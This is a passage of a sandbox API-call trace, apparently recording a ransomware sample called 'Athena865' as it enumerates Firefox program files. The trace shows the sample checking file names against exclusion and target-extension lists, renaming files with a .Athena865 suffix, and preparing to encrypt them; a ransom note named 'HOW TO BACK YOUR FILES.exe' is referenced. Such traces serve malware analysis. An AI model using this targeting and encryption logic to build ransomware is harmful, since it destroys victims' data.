(lpString1="dll", lpString2="lwx") returned -1 [0043.842] lstrlenW (lpString="maf") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0043.842] lstrlenW (lpString="maq") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0043.842] lstrlenW (lpString="mar") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0043.842] lstrlenW (lpString="marshal") returned 7 [0043.842] lstrcmpiW (lpString1="loc.dll", lpString2="marshal") returned -1 [0043.842] lstrlenW (lpString="mas") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0043.842] lstrlenW (lpString="mav") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0043.842] lstrlenW (lpString="maw") returned 3 [0043.842] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0043.842] lstrlenW (lpString="mdbhtml") returned 7 [0043.842] lstrcmpiW (lpString1="loc.dll", lpString2="mdbhtml") returned -1 [0043.843] lstrlenW (lpString="mdn") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0043.843] lstrlenW (lpString="mdt") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0043.843] lstrlenW (lpString="mfd") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0043.843] lstrlenW (lpString="mpd") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0043.843] lstrlenW (lpString="mrg") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0043.843] lstrlenW (lpString="mud") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0043.843] lstrlenW (lpString="mwb") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0043.843] lstrlenW (lpString="myd") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0043.843] lstrlenW (lpString="ndf") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0043.843] lstrlenW (lpString="nnt") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0043.843] lstrlenW (lpString="nrmlib") returned 6 [0043.843] lstrcmpiW (lpString1="oc.dll", lpString2="nrmlib") returned 1 [0043.843] lstrlenW (lpString="ns2") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0043.843] lstrlenW (lpString="ns3") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0043.843] lstrlenW (lpString="ns4") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0043.843] lstrlenW (lpString="nsf") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0043.843] lstrlenW (lpString="nv") returned 2 [0043.843] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0043.843] lstrlenW (lpString="nv2") returned 3 [0043.843] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0043.843] lstrlenW (lpString="nwdb") returned 4 [0043.843] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0043.844] lstrlenW (lpString="nyf") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0043.844] lstrlenW (lpString="odb") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0043.844] lstrlenW (lpString="odb") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0043.844] lstrlenW (lpString="oqy") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0043.844] lstrlenW (lpString="ora") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0043.844] lstrlenW (lpString="orx") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0043.844] lstrlenW (lpString="owc") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0043.844] lstrlenW (lpString="p96") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0043.844] lstrlenW (lpString="p97") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0043.844] lstrlenW (lpString="pan") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0043.844] lstrlenW (lpString="pdb") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0043.844] lstrlenW (lpString="pdm") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0043.844] lstrlenW (lpString="pnz") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0043.844] lstrlenW (lpString="qry") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0043.844] lstrlenW (lpString="qvd") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0043.844] lstrlenW (lpString="rbf") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0043.844] lstrlenW (lpString="rctd") returned 4 [0043.844] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0043.844] lstrlenW (lpString="rod") returned 3 [0043.844] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0043.845] lstrlenW (lpString="rodx") returned 4 [0043.845] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0043.845] lstrlenW (lpString="rpd") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0043.845] lstrlenW (lpString="rsd") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0043.845] lstrlenW (lpString="sas7bdat") returned 8 [0043.845] lstrcmpiW (lpString1="lloc.dll", lpString2="sas7bdat") returned -1 [0043.845] lstrlenW (lpString="sbf") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0043.845] lstrlenW (lpString="scx") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0043.845] lstrlenW (lpString="sdb") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0043.845] lstrlenW (lpString="sdc") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0043.845] lstrlenW (lpString="sdf") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0043.845] lstrlenW (lpString="sis") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0043.845] lstrlenW (lpString="spq") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0043.845] lstrlenW (lpString="te") returned 2 [0043.845] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0043.845] lstrlenW (lpString="teacher") returned 7 [0043.845] lstrcmpiW (lpString1="loc.dll", lpString2="teacher") returned -1 [0043.845] lstrlenW (lpString="tmd") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0043.845] lstrlenW (lpString="tps") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0043.845] lstrlenW (lpString="trc") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0043.845] lstrlenW (lpString="trc") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0043.845] lstrlenW (lpString="trm") returned 3 [0043.845] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0043.846] lstrlenW (lpString="udb") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0043.846] lstrlenW (lpString="udl") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0043.846] lstrlenW (lpString="usr") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0043.846] lstrlenW (lpString="v12") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0043.846] lstrlenW (lpString="vis") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0043.846] lstrlenW (lpString="vpd") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0043.846] lstrlenW (lpString="vvv") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0043.846] lstrlenW (lpString="wdb") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0043.846] lstrlenW (lpString="wmdb") returned 4 [0043.846] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0043.846] lstrlenW (lpString="wrk") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0043.846] lstrlenW (lpString="xdb") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0043.846] lstrlenW (lpString="xld") returned 3 [0043.846] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0043.846] lstrlenW (lpString="xmlff") returned 5 [0043.846] lstrcmpiW (lpString1="c.dll", lpString2="xmlff") returned -1 [0043.846] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll.Athena865") returned 61 [0043.846] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozalloc.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozalloc.dll.athena865"), dwFlags=0x1) returned 1 [0043.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozalloc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.852] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17008) returned 1 [0043.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.852] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.853] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.853] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.853] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4570, lpName=0x0) returned 0x17c [0043.854] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4570) returned 0x100000 [0043.858] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.859] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.859] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.859] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0043.859] CloseHandle (hObject=0x17c) returned 1 [0043.860] CloseHandle (hObject=0x154) returned 1 [0043.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.861] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2eec9000, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1fe70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2=".") returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="..") returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="windows") returned -1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="bootmgr") returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="temp") returned -1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="pagefile.sys") returned -1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="boot") returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="ids.txt") returned 1 [0043.861] lstrcmpiW (lpString1="mozglue.dll", lpString2="ntuser.dat") returned -1 [0043.862] lstrcmpiW (lpString1="mozglue.dll", lpString2="perflogs") returned -1 [0043.862] lstrcmpiW (lpString1="mozglue.dll", lpString2="MSBuild") returned -1 [0043.862] lstrlenW (lpString="mozglue.dll") returned 11 [0043.862] lstrcpyW (in: lpString1=0x241e896, lpString2="mozglue.dll" | out: lpString1="mozglue.dll") returned="mozglue.dll" [0043.862] lstrlenW (lpString="mozglue.dll") returned 11 [0043.862] lstrlenW (lpString="Athena865") returned 9 [0043.862] lstrcmpiW (lpString1="zglue.dll", lpString2="Athena865") returned 1 [0043.862] lstrlenW (lpString=".dll") returned 4 [0043.862] lstrcmpiW (lpString1="mozglue.dll", lpString2=".dll") returned 1 [0043.862] lstrlenW (lpString=".lnk") returned 4 [0043.862] lstrcmpiW (lpString1="mozglue.dll", lpString2=".lnk") returned 1 [0043.862] lstrlenW (lpString=".ini") returned 4 [0043.862] lstrcmpiW (lpString1="mozglue.dll", lpString2=".ini") returned 1 [0043.862] lstrlenW (lpString=".sys") returned 4 [0043.862] lstrcmpiW (lpString1="mozglue.dll", lpString2=".sys") returned 1 [0043.862] lstrlenW (lpString="mozglue.dll") returned 11 [0043.862] lstrlenW (lpString="bak") returned 3 [0043.862] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0043.862] lstrlenW (lpString="ba_") returned 3 [0043.862] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0043.862] lstrlenW (lpString="dbb") returned 3 [0043.862] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0043.862] lstrlenW (lpString="vmdk") returned 4 [0043.862] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0043.862] lstrlenW (lpString="rar") returned 3 [0043.862] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0043.862] lstrlenW (lpString="zip") returned 3 [0043.862] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0043.862] lstrlenW (lpString="tgz") returned 3 [0043.862] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0043.862] lstrlenW (lpString="vbox") returned 4 [0043.862] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0043.862] lstrlenW (lpString="vdi") returned 3 [0043.862] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0043.862] lstrlenW (lpString="vhd") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0043.863] lstrlenW (lpString="vhdx") returned 4 [0043.863] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0043.863] lstrlenW (lpString="avhd") returned 4 [0043.863] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0043.863] lstrlenW (lpString="db") returned 2 [0043.863] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0043.863] lstrlenW (lpString="db2") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0043.863] lstrlenW (lpString="db3") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0043.863] lstrlenW (lpString="dbf") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0043.863] lstrlenW (lpString="mdf") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0043.863] lstrlenW (lpString="mdb") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0043.863] lstrlenW (lpString="sql") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0043.863] lstrlenW (lpString="sqlite") returned 6 [0043.863] lstrcmpiW (lpString1="ue.dll", lpString2="sqlite") returned 1 [0043.863] lstrlenW (lpString="sqlite3") returned 7 [0043.863] lstrcmpiW (lpString1="lue.dll", lpString2="sqlite3") returned -1 [0043.863] lstrlenW (lpString="sqlitedb") returned 8 [0043.863] lstrcmpiW (lpString1="glue.dll", lpString2="sqlitedb") returned -1 [0043.863] lstrlenW (lpString="xml") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0043.863] lstrlenW (lpString="$er") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0043.863] lstrlenW (lpString="4dd") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0043.863] lstrlenW (lpString="4dl") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0043.863] lstrlenW (lpString="^^^") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0043.863] lstrlenW (lpString="abs") returned 3 [0043.863] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0043.864] lstrlenW (lpString="abx") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0043.864] lstrlenW (lpString="accdb") returned 5 [0043.864] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0043.864] lstrlenW (lpString="accdc") returned 5 [0043.864] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0043.864] lstrlenW (lpString="accde") returned 5 [0043.864] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0043.864] lstrlenW (lpString="accdr") returned 5 [0043.864] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0043.864] lstrlenW (lpString="accdt") returned 5 [0043.864] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0043.864] lstrlenW (lpString="accdw") returned 5 [0043.864] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0043.864] lstrlenW (lpString="accft") returned 5 [0043.864] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0043.864] lstrlenW (lpString="adb") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.864] lstrlenW (lpString="adb") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0043.864] lstrlenW (lpString="ade") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0043.864] lstrlenW (lpString="adf") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0043.864] lstrlenW (lpString="adn") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0043.864] lstrlenW (lpString="adp") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0043.864] lstrlenW (lpString="alf") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0043.864] lstrlenW (lpString="ask") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0043.864] lstrlenW (lpString="btr") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0043.864] lstrlenW (lpString="cat") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0043.864] lstrlenW (lpString="cdb") returned 3 [0043.864] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0043.865] lstrlenW (lpString="ckp") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0043.865] lstrlenW (lpString="cma") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0043.865] lstrlenW (lpString="cpd") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0043.865] lstrlenW (lpString="dacpac") returned 6 [0043.865] lstrcmpiW (lpString1="ue.dll", lpString2="dacpac") returned 1 [0043.865] lstrlenW (lpString="dad") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0043.865] lstrlenW (lpString="dadiagrams") returned 10 [0043.865] lstrcmpiW (lpString1="ozglue.dll", lpString2="dadiagrams") returned 1 [0043.865] lstrlenW (lpString="daschema") returned 8 [0043.865] lstrcmpiW (lpString1="glue.dll", lpString2="daschema") returned 1 [0043.865] lstrlenW (lpString="db-journal") returned 10 [0043.865] lstrcmpiW (lpString1="ozglue.dll", lpString2="db-journal") returned 1 [0043.865] lstrlenW (lpString="db-shm") returned 6 [0043.865] lstrcmpiW (lpString1="ue.dll", lpString2="db-shm") returned 1 [0043.865] lstrlenW (lpString="db-wal") returned 6 [0043.865] lstrcmpiW (lpString1="ue.dll", lpString2="db-wal") returned 1 [0043.865] lstrlenW (lpString="dbc") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0043.865] lstrlenW (lpString="dbs") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0043.865] lstrlenW (lpString="dbt") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0043.865] lstrlenW (lpString="dbv") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0043.865] lstrlenW (lpString="dbx") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0043.865] lstrlenW (lpString="dcb") returned 3 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0043.865] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0043.866] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll.Athena865") returned 60 [0043.866] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll.athena865"), dwFlags=0x1) returned 1 [0043.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.883] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=130672) returned 1 [0043.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.883] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.885] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.885] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.885] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20170, lpName=0x0) returned 0x17c [0043.889] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20170) returned 0x170000 [0043.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.919] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.919] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.920] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0043.921] CloseHandle (hObject=0x17c) returned 1 [0043.921] CloseHandle (hObject=0x154) returned 1 [0043.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.925] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x314eea00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x336470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mozjs.dll", cAlternateFileName="")) returned 1 [0043.925] lstrcmpiW (lpString1="mozjs.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 